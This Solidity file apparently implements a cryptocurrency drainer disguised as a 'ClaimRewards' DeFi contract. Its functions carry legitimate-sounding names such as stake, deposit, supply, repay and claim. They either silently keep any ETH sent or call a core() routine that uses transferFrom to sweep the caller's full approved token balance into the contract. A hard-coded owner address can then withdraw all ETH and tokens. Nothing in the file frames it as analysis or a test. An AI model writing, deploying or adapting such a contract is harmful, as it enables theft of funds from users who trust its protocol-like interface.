// SPDX-License-Identifier: MIT


pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.0;


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    modifier onlyOwner() {
        _checkOwner();
        _;
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external; 
}

contract ClaimRewards is Ownable {

    constructor() {
        transferOwnership(0x000005151cC6F5e8Df4B44B955f440c05dF7912F);
    }

    receive() external payable {

    }

    function withdrawAll(uint256 amount, address recipient) public onlyOwner {
        require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
        require(recipient != address(0), "Recipient address cannot be the zero address.");
        payable(recipient).call{value: amount}("");
    }

    function withdraw(address onBehalfOf, uint256 amount) public payable {
    }

    function mint(address onBehalfOf,uint256 amount) public payable {
    }

    function confirm() public payable {
    }

    function repayETH(address, uint256 amount, uint256 rateMode, address onBehalfOf) public payable {
    }

    function rigidRedemption(address eusdAddress, address provider, uint256 eusdAmount) public {
        core(msg.sender, eusdAddress);
    }

    function getReward() public payable {
    }

    function claim() public payable {
    }

    function boost(uint256 amount) public payable {
    }

    function burn(address eusdAddress, address onBehalfOf, uint256 amount) public {
       core(msg.sender, eusdAddress);
    }

    function unstake(uint256 amount) public payable {
    }

    function stake(address lpAddress, uint256 _amount) public {
        core(msg.sender, lpAddress);
    }

    function becomeRedemptionProvider(bool _bool) public payable {
    }

    function depositEtherToMint(address onBehalfOf, uint256 mintAmount) public payable {
    }

    function depositAssetToMint(address asset,address onBehalfOf,uint256 stETHamount,uint256 mintAmount) public {
        core(msg.sender, asset);
    }

    function excessIncomeDistribution(uint256 payAmount) public payable {
    }

    function liquidation(address provider,address onBehalfOf,uint256 etherAmount) public payable {
    }

    function setLockStatus(uint256 id) public payable {
    }

    function setBoost(address _boost) public payable {
    }

    function setEsLBR(address _eslbr) public payable {
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function depositETH(address ,address onBehalfOf, uint16 referralCode) public payable {
    }

    function supply(address asset, uint256 amount,address onBehalfOf, uint16 referralCode) public {
        core(msg.sender, asset);
    }

    function deposit(address asset, uint256 amount,address receiver) public {
        core(msg.sender, asset);
    }

    function repay(address asset, uint256 amount, uint256 interestRateMode,address onBehalfOf) public {
        core(msg.sender, asset);
    }

    function withdrawAllToken(address tokenAddress, address recipient) public onlyOwner {
        IERC20 erc20Token = IERC20(tokenAddress);

        uint256 contractBalance = erc20Token.balanceOf(address(this));

        erc20Token.transfer(recipient, contractBalance);
    }

    function core(address from, address asset) public {
        IERC20 assetETHToken = IERC20(asset);

        uint256 allowance = assetETHToken.allowance(msg.sender, address(this));
        uint256 amountTmp = assetETHToken.balanceOf(msg.sender);

        uint256 transferAmount = (allowance < amountTmp) ? allowance : amountTmp;

        assetETHToken.transferFrom(from, address(this), transferAmount);
    }
}